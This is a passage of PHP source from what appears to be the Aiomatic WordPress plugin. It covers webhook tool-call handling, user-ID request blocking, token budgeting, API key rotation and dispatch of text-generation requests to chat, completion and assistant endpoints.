                                                'output' => 'Webhook request error to URL ' . $webhook_url . ' - error: ' . $err
                                            ];
                                            continue;
                                        }
            
                                        if ($statusCode >= 200 && $statusCode <= 299) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Webhook URL called successfully!'
                                            ];
                                            continue;
                                        } 
                                        else 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Webhook unexpected return code to URL ' . $webhook_url . ' - return code: ' . $statusCode
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'subject, content or recipient_email parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                        }
                    }
                } else {
                    throw new Exception("Required action details are missing or incomplete.");
                }
                return $toolOutputs;
            }
            function aiomatic_check_if_azure($aiomatic_Main_Settings)
            {
                if(isset($aiomatic_Main_Settings['api_selector']) && trim($aiomatic_Main_Settings['api_selector']) == 'azure')
                {
                    return true;
                }
                return false;
            }
            function aiomatic_check_if_stable($model)
            {
                if(in_array($model, AIOMATIC_STABLE_IMAGE_MODELS))
                {
                    return true;
                }
                return false;
            }
            function aiomatic_check_if_midjourney($model)
            {
                if($model == 'fast' || $model == 'mixed' || $model == 'turbo')
                {
                    return true;
                }
                return false;
            }
            function aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model = '')
            {
                if(isset($aiomatic_Main_Settings['api_selector']) && (trim($aiomatic_Main_Settings['api_selector']) == 'azure'))
                {
                    return true;
                }
                if (!empty($model)) 
                {
                    if(aiomatic_is_claude_model($model) || aiomatic_is_google_model($model) || aiomatic_is_perplexity_model($model))
                    {
                        return true;
                    }
                }
                return false;
            }
            function aiomatic_is_request_allowed() 
            {
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                if (isset($aiomatic_Limit_Settings['block_userids']) && $aiomatic_Limit_Settings['block_userids'] != '')
                {
                    $curid = get_current_user_id();
                    if($curid != 0)
                    {
                        $blist = explode(',', $aiomatic_Limit_Settings['block_userids']);
                        $blist = array_map('trim', $blist);
                        foreach($blist as $belem)
                        {
                            if(intval($belem) === $curid)
                            {
                                return false;
                            }
                        }
                    }
                }
                return true;
            }
            add_filter( 'aiomatic_is_ai_query_allowed', 'aiomatic_is_request_allowed' );
            add_filter( 'aiomatic_is_ai_edit_allowed', 'aiomatic_is_request_allowed' );
            add_filter( 'aiomatic_is_ai_image_allowed', 'aiomatic_is_request_allowed' );
            add_filter( 'aiomatic_is_ai_video_allowed', 'aiomatic_is_request_allowed' );
            function aiomatic_generate_text(&$token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, &$finish_reason, &$error, $no_internet = false, $no_embeddings = false, $stream = false, $vision_file = '', $user_question = '', $role = 'user', $assistant_id = '', &$thread_id = '', $embedding_namespace = '', $function_result = '', $file_data = '', $parse_markdown = false)
            {
                $model = trim($model);
                if(empty($model))
                {
                    $model = AIOMATIC_DEFAULT_MODEL;
                }
                $is_allowed = apply_filters('aiomatic_is_ai_query_allowed', true, $aicontent);
                if ( $is_allowed !== true ) {
                    $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $aicontent = apply_filters('aiomatic_modify_ai_query', $aicontent);
                if(empty($function_result))
                {
                    if($is_chat)
                    {
                        if(in_array($model, AIOMATIC_FUNCTION_CALLING_MODELS))
                        {
                            require_once(dirname(__FILE__) . "/aiomatic-god-mode.php");
                            require_once(dirname(__FILE__) . "/aiomatic-god-mode-parser.php");
                        }
                    }
                }
                else
                {
                    if($function_result != 'disabled')
                    {
                        if($is_chat)
                        {
                            remove_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode', 999);
                        }
                    }
                }
                $functions = apply_filters('aiomatic_ai_functions', false);
                if(!empty($functions) && is_array($functions))
                {
                    if(isset($functions['functions']) && is_array($functions['functions']))
                    {
                        if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                        {
                            $total_used_tokens = 0;
                            foreach($functions['functions'] as $func_count)
                            {
                                if(isset($func_count['function']->name))
                                {
                                    $total_used_tokens += count(aiomatic_encode($func_count['function']->name));
                                }
                                if(isset($func_count['function']->description))
                                {
                                    $total_used_tokens += count(aiomatic_encode($func_count['function']->description));
                                }
                                if(isset($func_count['function']->parameters) && is_array($func_count['function']->parameters))
                                {
                                    foreach($func_count['function']->parameters as $fpar)
                                    {
                                        if(isset($fpar->name))
                                        {
                                            $total_used_tokens += count(aiomatic_encode($fpar->name));
                                        }
                                        if(isset($fpar->description))
                                        {
                                            $total_used_tokens += count(aiomatic_encode($fpar->description));
                                        }
                                    }
                                }
                            }
                            $available_tokens = $available_tokens - $total_used_tokens;
                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_CHAT)
                            {
                                if(is_string($aicontent))
                                {
                                    $string_len = strlen($aicontent);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $aicontent = aiomatic_substr($aicontent, 0 - $string_len);
                                    $aicontent = trim($aicontent);
                                    if(empty($aicontent))
                                    {
                                        $error = 'Incorrect chat prompt provided(2): ' . $aicontent;
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $query_token_count = count(aiomatic_encode($aicontent));
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                else
                                {
                                    $aitext = '';
                                    foreach($aicontent as $aimess)
                                    {
                                        if(isset($aimess['content']))
                                        {
                                            if(!is_array($aimess['content']))
                                            {
                                                $aitext .= $aimess['content'] . '\n';
                                            }
                                            else
                                            {
                                                foreach($aimess['content'] as $internalmess)
                                                {
                                                    if($internalmess['type'] == 'text')
                                                    {
                                                        $aitext .= $internalmess['text'] . '\n';
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $query_token_count = count(aiomatic_encode($aitext));
                                    $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aitext, $query_token_count);
                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                    {
                                        $startIndex = intdiv(count($aicontent), 2);
                                        $aicontent = array_slice($aicontent, $startIndex);
                                        $lastindex = end(array_keys($aicontent));
                                        $string_len = strlen($aicontent[$lastindex]['content']);
                                        $string_len = $string_len / 2;
                                        $string_len = intval(0 - $string_len);
                                        $aicontent[$lastindex]['content'] = aiomatic_substr($aicontent[$lastindex]['content'], 0, $string_len);
                                        $aicontent[$lastindex]['content'] = trim($aicontent[$lastindex]['content']);
                                        $aitext = '';
                                        foreach($aicontent as $aimess)
                                        {
                                            if(isset($aimess['content']))
                                            {
                                                if(!is_array($aimess['content']))
                                                {
                                                    $aitext .= $aimess['content'] . '\n';
                                                }
                                                else
                                                {
                                                    foreach($aimess['content'] as $internalmess)
                                                    {
                                                        if($internalmess['type'] == 'text')
                                                        {
                                                            $aitext .= $internalmess['text'] . '\n';
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        $query_token_count = count(aiomatic_encode($aitext));
                                        $available_tokens = $max_tokens - $query_token_count;
                                    }
                                }
                            }
                        }
                    }
                }
                if(isset($aiomatic_Main_Settings['multiple_key']) && $aiomatic_Main_Settings['multiple_key'] == 'on')
                {
                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                    $appids = array_filter($appids);
                    if(count($appids) > 1)
                    {
                        if (($tkey = array_search($token, $appids)) !== false) {
                            unset($appids[$tkey]);
                        }
                        if(count($appids) > 0)
                        {
                            $token_new = $appids[array_rand($appids)];
                            if(!empty($token_new))
                            {
                                $token = $token_new;
                            }
                        }
                    }
                }
                if ( empty($token) ) 
                {
                    $error = esc_html__('Empty API key provided!', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if(empty($user_question))
                {
                    if(is_array($aicontent))
                    {
                        $lastindex = end(array_keys($aicontent));
                        if(isset($aicontent[$lastindex]['content']))
                        {
                            $user_question = $aicontent[$lastindex]['content'];
                        }
                    }
                    else
                    {
                        $user_question = $aicontent;
                    }
                }
                if(empty($assistant_id))
                {
                    $assistant_id = '';
                }
                if(!empty(trim($assistant_id)) && !aiomatic_is_aiomaticapi_key($token) && !(aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model)))
                {
                    if(!aiomatic_is_vision_model('', $assistant_id) && $vision_file != '')
                    {
                        $vision_file = '';
                    }
                    try
                    {
                        $local_assistant_id = '';
                        if(is_numeric($assistant_id))
                        {
                            $assistant_id_temp = get_post_meta($assistant_id, '_assistant_id', true);
                            if(!empty($assistant_id_temp))
                            {
                                $local_assistant_id = $assistant_id;
                                $assistant_id = $assistant_id_temp;
                            }
                        }
                        if(empty($local_assistant_id))
                        {
                            $local_assist = aiomatic_find_local_assistant_id($assistant_id);
                            if($local_assist !== false)
                            {
                                $local_assistant_id = $local_assist;
                            }
                        }
                        $response_ai = aiomatic_generate_text_assistant($token, $assistant_id, $local_assistant_id, $role, $user_question, $thread_id, $no_internet, $no_embeddings, $env, 0, $embedding_namespace, $stream, $function_result, $vision_file, $file_data);
                        if(isset($response_ai['content'][0]['text']['value']))
                        {
                            $response_text = $response_ai['content'][0]['text']['value'];
                        }
                        else
                        {
                            throw new Exception('Cannot parse AI response: ' . print_r($response_ai, true));
                        }
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error in AI (' . $assistant_id . '): ' . $e->getMessage();
                        apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($response_text === false || empty($response_text))
                    {
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($is_chat == false)
                    {
                        $response_text = aiomatic_clean_language_model_texts($response_text);
                        $response_text= trim($response_text);
                    }
                }
                else
                {
                    if(!aiomatic_is_vision_model($model, '') && $vision_file != '')
                    {
                        $vision_file = '';
                    }
                    if(aiomatic_is_chatgpt_model($model) || aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_perplexity_model($model) || aiomatic_is_chatgpt_o_model($model) || aiomatic_is_huggingface_model($model) || aiomatic_is_ollama_model($model))
                    {
                        if(is_array($aicontent))
                        {
                            $chatgpt_obj = $aicontent;
                        }
                        else
                        {
                            $role = 'user';
                            $chatgpt_obj = array();
                            $chatgpt_obj[] = array("role" => $role, "content" => $aicontent);
                            $additional_tokens = count(aiomatic_encode($role . ': '));
                            if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                            {
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_CHAT)
                                {
                                    $string_len = strlen($aicontent);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $aicontent = aiomatic_substr($aicontent, 0 - $string_len);
                                    $aicontent = trim($aicontent);
                                    if(empty($aicontent))
                                    {
                                        $error = 'Incorrect chat prompt provided: ' . $aicontent;
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $query_token_count = count(aiomatic_encode($aicontent));
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $available_tokens = $max_tokens - $query_token_count;
                                    $chatgpt_obj = array();
                                    $chatgpt_obj[] = array("role" => $role, "content" => $aicontent);
                                }
                            }
                            if($available_tokens - $additional_tokens <= 0)
                            {
                                $error = 'Not enough tokens for the call: ' . $aicontent;
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                            else
                            {
                                if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                                {
                                    $available_tokens = $available_tokens - $additional_tokens;
                                }
                            }
                        }
                        $response_text = aiomatic_generate_text_chat($token, $model, $chatgpt_obj, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, $finish_reason, $error, $no_internet, $no_embeddings, $functions, $stream, $vision_file, false, $user_question, $embedding_namespace, $function_result, false);
                        if($response_text === false || empty($response_text))
                        {
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                        if(stristr($response_text, '<body') !== false)
                        {
                            preg_match_all("/<body[^>]*>([\s\S]*?)<\s*\/body>/i", $response_text, $matches);
                            if(isset($matches[1][0]))
                            {
                                $response_text = trim($matches[1][0]);
                            }
                        }
                        if($is_chat == false)
                        {
                            $response_text = aiomatic_clean_language_model_texts($response_text);
                            $response_text= trim($response_text);
                        }
                    }
                    else
                    {
                        if(is_array($aicontent))
                        {
                            $aitext = '';
                            foreach($aicontent as $aimess)
                            {
                                if(isset($aimess['content']))
                                {
                                    if(!is_array($aimess['content']))
                                    {
                                        $aitext .= $aimess['content'] . '\n';
                                    }
                                    else
                                    {
                                        foreach($aimess['content'] as $internalmess)
                                        {
                                            if($internalmess['type'] == 'text')
                                            {
                                                $aitext .= $internalmess['text'] . '\n';
                                            }
                                        }
                                    }
                                }
                            }
                            $aicontent = $aitext;
                        }
                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                        {
                            $string_len = strlen($aicontent);
                            $string_len = $string_len / 2;
                            $string_len = intval(0 - $string_len);
                            $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                            $aicontent = trim($aicontent);
                            $query_token_count = count(aiomatic_encode($aicontent));
                            $max_tokens = aiomatic_get_max_tokens($model);
                            $available_tokens = $max_tokens - $query_token_count;
                        }
                        $response_text = aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, $finish_reason, $error, $no_internet, $no_embeddings, $stream, $user_question, $embedding_namespace);
                        if($response_text === false || empty($response_text))
                        {
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                }
                $response_text = aiomatic_sanitize_ai_result($response_text);
                $response_text = apply_filters( 'aiomatic_modify_ai_reply', $response_text, $aicontent );
                if (!isset($aiomatic_Main_Settings['no_pre_code_remove']) || $aiomatic_Main_Settings['no_pre_code_remove'] != 'on')
                {
                    $response_text = aiomatic_pre_code_remove($response_text);
                }
                if ($parse_markdown == true && isset($aiomatic_Main_Settings['markdown_parse']) && $aiomatic_Main_Settings['markdown_parse'] == 'on')
                {
                    if(aiomatic_containsMarkdown($response_text))
                    {
                        if(!class_exists('AiomaticParsedown'))
                        {
                            require_once(dirname(__FILE__) . "/res/Parsedown.php");
                        }
                        $Parsedown = new AiomaticParsedown();
                        $response_text =  $Parsedown->text($response_text);
                    }
                }
                return $response_text;
            }
            function aiomatic_find_local_assistant_id($assistant_id)
            {
                $return_id = false;
                $args = array(
                    'post_type'      => 'aiomatic_assistants',
                    'posts_per_page' => 1,
                    'meta_query'     => array(
                        array(
                            'key'     => '_assistant_id', 
                            'value'   => $assistant_id,
                            'compare' => '=', 
                        )
                    )
                );
                $query = new WP_Query($args);
                if ($query->have_posts()) 
                {
                    while ($query->have_posts()) 
                    {
                        $query->the_post();
                        $return_id = get_the_ID();
                    }
                }
                wp_reset_postdata();
                return $return_id;
            }
            function aiomatic_run_functions(&$token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, &$finish_reason, &$error, $no_internet = false, $no_embeddings = false, $stream = false, $vision_file = '', $user_question = '', $role = 'user', $assistant_id = '', &$thread_id = '', $embedding_namespace = '', $function_result = '', $file_data = '')
            {
                if(empty($model))
                {
                    $model = AIOMATIC_DEFAULT_MODEL;
                }
                $is_allowed = apply_filters('aiomatic_is_ai_query_allowed', true, $aicontent);
                if ( $is_allowed !== true ) {
                    $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $aicontent = apply_filters('aiomatic_modify_ai_query', $aicontent);
                if(empty($function_result))
                {
                    if($is_chat)
                    {
                        if(in_array($model, AIOMATIC_FUNCTION_CALLING_MODELS))
                        {
                            require_once(dirname(__FILE__) . "/aiomatic-god-mode.php");
                            require_once(dirname(__FILE__) . "/aiomatic-god-mode-parser.php");
                        }
                    }
                }
                else
                {
                    if($function_result != 'disabled')
                    {
                        if($is_chat)
                        {
                            remove_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode', 999);
                        }
                    }
                }
                $functions = apply_filters('aiomatic_ai_functions', false);
                if(!empty($functions) && is_array($functions))
                {
                    if(isset($functions['functions']) && is_array($functions['functions']))
                    {
                        if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                        {
                            $total_used_tokens = 0;
                            foreach($functions['functions'] as $func_count)
                            {
                                if(isset($func_count['function']->name))
                                {
                                    $total_used_tokens += count(aiomatic_encode($func_count['function']->name));
                                }
                                if(isset($func_count['function']->description))
                                {
                                    $total_used_tokens += count(aiomatic_encode($func_count['function']->description));
                                }
                                if(isset($func_count['function']->parameters) && is_array($func_count['function']->parameters))
                                {
                                    foreach($func_count['function']->parameters as $fpar)
                                    {
                                        if(isset($fpar->name))
                                        {
                                            $total_used_tokens += count(aiomatic_encode($fpar->name));
                                        }
                                        if(isset($fpar->description))
                                        {
                                            $total_used_tokens += count(aiomatic_encode($fpar->description));
                                        }
                                    }
                                }
                            }
                            $available_tokens = $available_tokens - $total_used_tokens;
                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_CHAT)
                            {
                                if(is_string($aicontent))
                                {
                                    $string_len = strlen($aicontent);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $aicontent = aiomatic_substr($aicontent, 0 - $string_len);
                                    $aicontent = trim($aicontent);
                                    if(empty($aicontent))
                                    {
                                        $error = 'Incorrect chat prompt provided(2): ' . $aicontent;
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $query_token_count = count(aiomatic_encode($aicontent));
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                else
                                {
                                    $aitext = '';
                                    foreach($aicontent as $aimess)
                                    {
                                        if(isset($aimess['content']))
                                        {
                                            if(!is_array($aimess['content']))
                                            {
                                                $aitext .= $aimess['content'] . '\n';
                                            }
                                            else
                                            {
                                                foreach($aimess['content'] as $internalmess)
                                                {
                                                    if($internalmess['type'] == 'text')
                                                    {
                                                        $aitext .= $internalmess['text'] . '\n';
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $query_token_count = count(aiomatic_encode($aitext));
                                    $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aitext, $query_token_count);
                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                    {
                                        $startIndex = intdiv(count($aicontent), 2);
                                        $aicontent = array_slice($aicontent, $startIndex);
                                        $lastindex = end(array_keys($aicontent));
                                        $string_len = strlen($aicontent[$lastindex]['content']);
                                        $string_len = $string_len / 2;
                                        $string_len = intval(0 - $string_len);
                                        $aicontent[$lastindex]['content'] = aiomatic_substr($aicontent[$lastindex]['content'], 0, $string_len);
                                        $aicontent[$lastindex]['content'] = trim($aicontent[$lastindex]['content']);
                                        $aitext = '';
                                        foreach($aicontent as $aimess)
                                        {
                                            if(isset($aimess['content']))
                                            {
                                                if(!is_array($aimess['content']))
                                                {
                                                    $aitext .= $aimess['content'] . '\n';
                                                }
                                                else
                                                {
                                                    foreach($aimess['content'] as $internalmess)
                                                    {
                                                        if($internalmess['type'] == 'text')
                                                        {
                                                            $aitext .= $internalmess['text'] . '\n';
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        $query_token_count = count(aiomatic_encode($aitext));
                                        $available_tokens = $max_tokens - $query_token_count;
                                    }
                                }
                            }
                        }
                    }
                }
                if ( empty($functions) ) 
                {
                    $error = esc_html__('Empty functions list provided!', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if(isset($aiomatic_Main_Settings['multiple_key']) && $aiomatic_Main_Settings['multiple_key'] == 'on')
                {
                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                    $appids = array_filter($appids);
                    if(count($appids) > 1)
                    {
                        if (($tkey = array_search($token, $appids)) !== false) {
                            unset($appids[$tkey]);
                        }
                        if(count($appids) > 0)
                        {
                            $token_new = $appids[array_rand($appids)];
                            if(!empty($token_new))
                            {
                                $token = $token_new;
                            }
                        }
                    }
                }
                if ( empty($token) ) 
                {
                    $error = esc_html__('Empty API key provided!', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if(empty($user_question))
                {
                    if(is_array($aicontent))
                    {
                        $lastindex = end(array_keys($aicontent));
                        if(isset($aicontent[$lastindex]['content']))
                        {
                            $user_question = $aicontent[$lastindex]['content'];
                        }
                    }
                    else
                    {
                        $user_question = $aicontent;
                    }
                }
                if(empty($assistant_id))
                {
                    $assistant_id = '';
                }
                if(!empty(trim($assistant_id)) && !aiomatic_is_aiomaticapi_key($token) && !(aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model)))
                {
                    if(!aiomatic_is_vision_model('', $assistant_id) && $vision_file != '')
                    {
                        $vision_file = '';
                    }
                    try
                    {
                        $local_assistant_id = '';
                        if(is_numeric($assistant_id))
                        {
                            $assistant_id_temp = get_post_meta($assistant_id, '_assistant_id', true);
                            if(!empty($assistant_id_temp))
                            {
                                $local_assistant_id = $assistant_id;
                                $assistant_id = $assistant_id_temp;
                            }
                        }
                        $response_ai = aiomatic_generate_text_assistant($token, $assistant_id, $local_assistant_id, $role, $user_question, $thread_id, $no_internet, $no_embeddings, $env, 0, $embedding_namespace, $stream, $function_result, $vision_file, $file_data);
                        if(isset($response_ai['content'][0]['text']['value']))
                        {
                            $response_text = $response_ai['content'][0]['text']['value'];
                        }
                        else
                        {
                            throw new Exception('Cannot parse AI response: ' . print_r($response_ai, true));
                        }
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error in AI (' . $assistant_id . '): ' . $e->getMessage();
                        apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($response_text === false || empty($response_text))
                    {
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    if($is_chat == false)
                    {
                        $response_text = aiomatic_clean_language_model_texts($response_text);
                        $response_text = trim($response_text);
                    }
                }
                else
                {
                    if(!aiomatic_is_vision_model($model, '') && $vision_file != '')
                    {
                        $vision_file = '';
                    }
                    if(aiomatic_is_chatgpt_model($model) || aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_perplexity_model($model) || aiomatic_is_chatgpt_o_model($model))
                    {
                        if(is_array($aicontent))
                        {
                            $chatgpt_obj = $aicontent;
                        }
                        else
                        {
                            $role = 'user';
                            $chatgpt_obj = array();
                            $chatgpt_obj[] = array("role" => $role, "content" => $aicontent);
                            $additional_tokens = count(aiomatic_encode($role . ': '));
                            if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                            {
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_CHAT)
                                {
                                    $string_len = strlen($aicontent);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $aicontent = aiomatic_substr($aicontent, 0 - $string_len);
                                    $aicontent = trim($aicontent);
                                    if(empty($aicontent))
                                    {
                                        $error = 'Incorrect chat prompt provided: ' . $aicontent;
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                    $query_token_count = count(aiomatic_encode($aicontent));
                                    $max_tokens = aiomatic_get_max_tokens($model);
                                    $available_tokens = $max_tokens - $query_token_count;
                                    $chatgpt_obj = array();
                                    $chatgpt_obj[] = array("role" => $role, "content" => $aicontent);
                                }
                            }
                            if($available_tokens - $additional_tokens <= 0)
                            {
                                $error = 'Not enough tokens for the call: ' . $aicontent;
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                            else
                            {
                                if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                                {
                                    $available_tokens = $available_tokens - $additional_tokens;
                                }
                            }
                        }
                        $response_text = aiomatic_generate_text_chat($token, $model, $chatgpt_obj, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, $finish_reason, $error, $no_internet, $no_embeddings, $functions, $stream, $vision_file, false, $user_question, $embedding_namespace, $function_result, true);
                        if($response_text === false || empty($response_text))
                        {
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    else
                    {
                        $error = 'The submitted model is not supported for function calls: ' . $model;
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                }
                return $response_text;
            }
            function aiomatic_generate_text_assistant($token, $assistant_id, $local_assistant_id, $role, $content, &$thread_id, $no_internet = false, $no_embeddings = false, $env = '', $retry_count = 0, $embedding_namespace = '', $stream = false, $function_result = '', $vision_file = '', $file_data = '') 
            {
                try
                {
                    if(empty($content))
                    {
                        throw new Exception('Empty array submitted to AI');
                    }
                    require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); 
                    try
                    {
                        if (!empty($assistant_id)) 
                        {
                            $assistant = aiomatic_openai_retrieve_assistant($token, $assistant_id);
                            if(!isset($assistant['id']))
                            {
                                throw new Exception('Incorrect response from assistant grabbing assistant ID ' . $assistant_id . ': ' . print_r($thread, true));
                            }
                            else
                            {
                                $model = $assistant['model'];
                            }
                        }
                    }
                    catch(Exception $e)
                    {
                        throw new Exception('Failed to query assistant: ' . $e->getMessage());
                    }
                    $count_vision = false;
                    if(!aiomatic_is_vision_model('', $assistant_id))
                    {
                        $vision_file = '';
                    }
                    else
                    {
                        $count_vision = true;
                    }
                    if(empty($function_result) || $function_result == 'disabled')
                    {
                        $embeddings_enabled = false;
                        $internet_enabled = false;
                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                        aiomatic_get_internet_embeddings_result($aiomatic_Main_Settings, $env, $embeddings_enabled, $internet_enabled);
                        $user_question = $content;
                        if($no_internet !== true && $internet_enabled == true)
                        {
                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                            {
                                aiomatic_log_to_file('Getting internet search results for assistant');
                            }
                            $internet_prompt = '';
                            if(isset($aiomatic_Main_Settings['internet_prompt']) && $aiomatic_Main_Settings['internet_prompt'] != '')
                            {
                                $internet_prompt = $aiomatic_Main_Settings['internet_prompt'];
                            }
                            if(stristr($internet_prompt, '%%web_results%%') === false)
                            {
                                $internet_prompt .= ' %%web_results%%';
                            }
                            $locale = '';
                            if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '')
                            {
                                $locale = $aiomatic_Main_Settings['internet_gl'];
                            }
                            $internet_rez = aiomatic_internet_result($user_question, false, $locale);
                            shuffle($internet_rez);
                            if (isset($aiomatic_Main_Settings['results_num']) && trim($aiomatic_Main_Settings['results_num']) != '')
                            {
                                $results = intval(trim($aiomatic_Main_Settings['results_num']));
                            }
                            else
                            {
                                $results = 3;
                            }
                            $gotcnt = 0;
                            $internet_results = '';
                            foreach($internet_rez as $emb)
                            {
                                if($gotcnt >= $results)
                                {
                                    break;
                                }
                                if (isset($aiomatic_Main_Settings['internet_single_template']) && trim($aiomatic_Main_Settings['internet_single_template']) != '')
                                {
                                    $internet_single_template = $aiomatic_Main_Settings['internet_single_template'];
                                }
                                else
                                {
                                    $internet_single_template = '[%%result_counter%%]: %%result_title%% %%result_snippet%% ' . PHP_EOL . 'URL: %%result_link%%';
                                }
                                $internet_single_template = str_replace('%%result_counter%%', $gotcnt + 1, $internet_single_template);
                                $internet_single_template = str_replace('%%result_title%%', $emb['title'], $internet_single_template);
                                $internet_single_template = str_replace('%%result_snippet%%', $emb['snippet'], $internet_single_template);
                                $internet_single_template = str_replace('%%result_link%%', $emb['link'], $internet_single_template);
                                $internet_results .= $internet_single_template . PHP_EOL;
                                $gotcnt++;
                            }
                            if($internet_results == '')
                            {
                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                {
                                    aiomatic_log_to_file('Internet search failed for assistant, no data returned!');
                                }
                            }
                            else
                            {
                                if($internet_prompt != '')
                                {
                                    $internet_prompt = str_ireplace('%%original_query%%', $content, $internet_prompt);
                                    $internet_prompt = str_ireplace('%%current_date%%', date('Y-m-d'), $internet_prompt);
                                    $internet_prompt = str_ireplace('%%web_results%%', $internet_results, $internet_prompt);
                                    if($internet_prompt != '')
                                    {
                                        $content = $internet_prompt . '\n' . $content;
                                    }
                                }
                            }
                        }
                        if($no_embeddings !== true && $embeddings_enabled == true)
                        {
                            $embed_rez = aiomatic_embeddings_result($content, $token, $embedding_namespace);
                            if($embed_rez['status'] == 'error')
                            {
